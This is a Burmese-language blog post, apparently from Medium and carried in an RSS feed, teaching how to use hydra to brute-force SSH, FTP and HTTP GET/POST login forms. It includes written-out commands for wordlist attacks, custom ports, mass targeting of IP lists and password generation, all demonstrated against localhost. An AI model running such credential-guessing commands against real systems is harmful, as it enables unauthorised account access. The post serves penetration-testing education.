            <pubDate>Tue, 23 Apr 2019 02:40:47 GMT</pubDate>
            <atom:updated>2019-04-23T02:40:47.620Z</atom:updated>
            <content:encoded><![CDATA[<p>Brute Force လုပ္ျကမယ္။ က်ေနာ္ အျကိုက္ဆံုး Tools က ေတာ့ hydra ဗ် သူက FTP,SSH,HTTP POST ,HTTP GET,MySQL စတာေတြ အေတာ္မ်ားမ်ားကို Brute လုပ္လို့ရတယ္ဗ်။ သူ့မွာပါတဲ့ options ေတြကို အသံုးခ်ျပီး ဘလို powerfull ျဖစ္ေအာင္ brute ျကမလဲ ျကည့္လိုက္ရေအာင္….</p><p>ပထမဆံုး hydra မရွိရင္ အရင္ သြင္းလိုက္ပါ <a href="https://github.com/vanhauser-thc/thc-hydra">https://github.com/vanhauser-thc/thc-hydra</a></p><p>hydra လို့ terminal ကေန ရိုက္ျကည့္လိုက္ရင္ ခုလို options ေတြေတြ့ရလိမ့္မယ္ဗ်။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-eMTYzZlAngymhrc.png" /></figure><p>ကဲ စတင္ brute ျကရေအာင္</p><p>hydra -L user.txt -P pass.txt 127.0.0.1 ssh</p><p>-L ဆိုတာကေတာ့ username list text file ကို ေျပာတာပါ။<br>-P ဆိုတာကေတာ့ password list text file ကိုေျပာတာပါ။<br>ipaddress ေနာက္က ကို brute ခ်င္တဲ့ service အမ်ိုးစားပါ။ ssh,ftp,mysql အစ ရွိသည္ျဖင့္ေပါ့ဗ်ာ။ က်ေနာ္ ftp နဲ့ ssh ကို ဥပမာ လုပ္ျပပါ့မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CSb-j8mEjE9zgmgD.png" /></figure><p>က်ေနာ္တို့ေနာက္တစ္နည္း ကေတာ့ username သိတယ္ password မသိပု .. ဒါမွ မဟုတ္ password သိတယ္ username မသိပု ဒါမ်ိုးဆိုလဲ ကိုယ္ brute ခ်င္တာကိုပဲ brute လို့ရပါေသးတယ္။</p><p>hydra -l admin -P pass.txt 127.0.0.1 ssh</p><p>ဒီမွာ -l ဆိုတာ ထားခ်င္တဲ့ username ကို တိုက္ရိုက္တန္းထားပီး password ကိုပဲ brute တာပါ။ သူက l အေသးပါ။</p><p>hydra -L user.txt -p 12345 127.0.0.1 ssh</p><p>ဒီဟာမွာဆိုလဲ -p ဆိုတာ ထားခ်င္တဲ့ password ကို တိုက္ရိုက္ထားပီး username ကိုပဲ brute လိုက္တာပါ ။ p က အေသးပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mMiI1pkFTsdA5N0p.png" /></figure><p>-C ဆိုတဲ့ options ကိုလဲ သံုးလို့ရပါတယ္။သူကေတာ့ wordlist ထဲမွာ user:pass ဆိုတဲ့ format နဲ့လုပ္ထားမွဆင္ေျပမွာပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CtH66lqB-J39tdJ0.png" /></figure><p>ေနာက္တစ္ခုကေတာ့ Verbose mode ပါသူကေတာ့ found ျဖစ္တာတင္မဟုတ္ပဲ က်န္တာ login ဝင္ျကည့္တဲ့ ဟာေတြပါျပေပးမွာပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7ijkLLBVsZ8vTXzZ.png" /></figure><p>က်ေနာ္ကေတာ့ မသံုးပါပု မ်က္စိရွုပ္လို့ပါ။ -V ေနာ္ V အျကီးပါ။</p><p>ေနာက္ options တစ္ခုကေတာ့ -e nsr သူအဓိပါယ္က <br>n က null ကို ဆိုလိုတာပါ ဘာမွ မပါပဲ ဝင္ျကည့္မွာပါ။<br>s ကေတာ့ same ကို ေျပာတာပါ username နဲ့ password က တူတူထားပီး ဝင္ျကည့္မွာပါ။ ဥပမာ username root ဆို password က လဲ root ေပါ့။<br>r ကေတာ့ reverse ကိုဆိုလိုတာပါ သူကေတာ့ username ကို ေျပာင္းျပန္လွန္ပီး ဝင္ျကည့္မွာပါ။ ဥပမာ userက root ဆို pass က ေျပာင္းျပန္ toor ေပါ့။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3wqjjqZD3L4_bvwA.png" /></figure><p>က်ေန္ာ ခုန ရွင္းျပသလိုပဲဆိုတာ ျကည့္ရင္ သိနိုင္ပါတယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/0*c_xyR-C32bUr2KeC.png" /></figure><p>ေနာက္ options တစ္ခုကေတာ့ -x ပါ သူကေတာ့ password ကို သြသူ generate ျပီး brute မွာပါ။ wordlist မလိုပါေပါ့ သူ့ကို သံုးရမဲ့ ပံုစံကေတာ့</p><p>-x min:max:char (eg: -x 3:5:1 )</p><p>ပထမဆံုးက minimum no ပါ<br>ဒုတိယက maximum no ပါ<br>ေနာက္က 1 ဆိုတာ number 0–9 ကို ဆိုလိုတာပါ။<br>a-z တြက္ဆို a လို့သံုးရပီး A-Z ဆို A သံုးေပးရပါတယ္။ စမ္းျပပါ့မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_cEb84r5OOPh9fDg.png" /></figure><p>ခုလို 000 ကေန 99999 ထိ brute သြားမွာပါ ။ ေနာက္တစ္ခုက -s ပါ သူကေတာ့ က်ေနာ္တို့ တိုက္ခ်င္တဲ့ port no ကို ခ်ိန္ေပးလို့ရပါတယ္။ တခ်ုိ့ server ေတြမွာ default port no မထားျကပါပု အာ့လို အေျခေနမွာဆို သံုးနိုင္ပါတယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/265/0*Zd6emkLYrLj0ob97.png" /></figure><p>ဒီမွာဆို default port 21 မထားပဲ ftp port ကို 1337 ထားထားပါတယ္။ ပံုမွန္တိုင္း brute လို့မရေတာ့ပါပု</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iZOgJFJELMVxWD3H.png" /></figure><p>ဒီလိုေျခေနမွာဆို က်ေနာ္တို့ -s options ကို သံုးရပါေတာ့မယ္။</p><p>hydra -l admin -P pass.txt 127.0.0.1 ftp -s 1337</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZbPd1uuUS0SdRC8j.png" /></figure><p>-s 1337 ဆိုျပီး brute ခ်လိုက္တယ္ အိုေကသြားတယ္။</p><p>ဒီတစ္ခါ -M options ဆိုတာကေတာ့ Mass Brute တာပါ ip list ကို text file လုပ္ပီး</p><p>hydra -l admin -P pass.txt -M target.txt ftp</p><p>ခုလို brute လို့လဲ ရပါတယ္။ခု website ေတြဖက္သြားမယ္ ။ Web Form ေတြကို ေကာ ဘလို brute ျကမလဲ ? ပထမဆံုး Get method နဲ့ အရင္စမ္းျကည့္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/0*nrpUlhp6hLgj-rya.png" /></figure><p>သူရဲ့ parameter နဲ့ Error Message ေလးေတာ့လိုပါတယ္</p><p>parameter က uname=test&amp;passwd=test&amp;submit=Submit နဲ့ Error message က Login Fail ပါ</p><p>hydra -L user.txt -P pass.txt 127.0.0.1 http-get-form &quot;/login.php:uname=^USER^&amp;passwd=^PASS^&amp;submit=Submit:Login Fail&quot;</p><p>သံုးထားတဲ့ပံုစံက အေရွ့ပိုင္းကေတာ့ သိပီးသားျဖစ္မွာပါ။ http-get-form ဆိုတာ က်ေနာ္တို့ login form မွာသံုးထားတဲ့ method က get မို့လို့ပါ။ ေနာက္မွာ သံုးသြားတဲ့ format ကေတာ့</p><p>“/loginformpath/loginform.php:parameter=value&amp;parameter=value:error message”</p><p>parameter မွာ ထည့္ရမဲ့ value ေနရာမွာ ^USER^ ဆိုတာ ေရွ့က -L ကေန ဆြဲထုတ္လိုက္တဲ့ list ထဲက data ကို ထည့္လို့ သတ္မွတ္လိုက္တာပါ ။ ^PASS^ ကေတာ့ password list ကို ရည္ညြွန္းတာပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KqbQi1-cQTCy2qVA.png" /></figure><p>username က administrator <br>password က love တဲ့ ဝင္ျကည့္လိုက္ရင္</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/0*BzOVXOsBfJRZv_KD.png" /></figure><p>Login successfully ဆိုပီး ခုလို အဆင္ေျပသြားပါျပီး ေနာက္ post method ကိုစမ္းျကည့္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/0*dK2NruYueis5hVwf.png" /></figure><p>post method ဆို ခုန http-get-form ေနရာမွာ http-post-form လို့ေျပာင္းရင္ပဲ ဆင္ေျပေနပါျပီ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0WM__rHBUPYnidGj.png" /></figure><p>ခုက က်ေနာ္က http သံုးပီး လုပ္ေနလို့ပါ။ https ဆိုလဲ https-get-form,https-post-form လို့ခ်ိန္းသံုးရင္ ဆင္ေျပပါတယ္။ ကဲ ဒီေလာက္ဆို ေတာ္ေတ္ာေလး ျပည့္စံုျပီထင္ပါတယ္။ သာယာေသာေနသစ္ေလးေတြ ပိုင္ဆိုင္နိုင္ပါေစဗ်ာ….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1e8b82ce2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>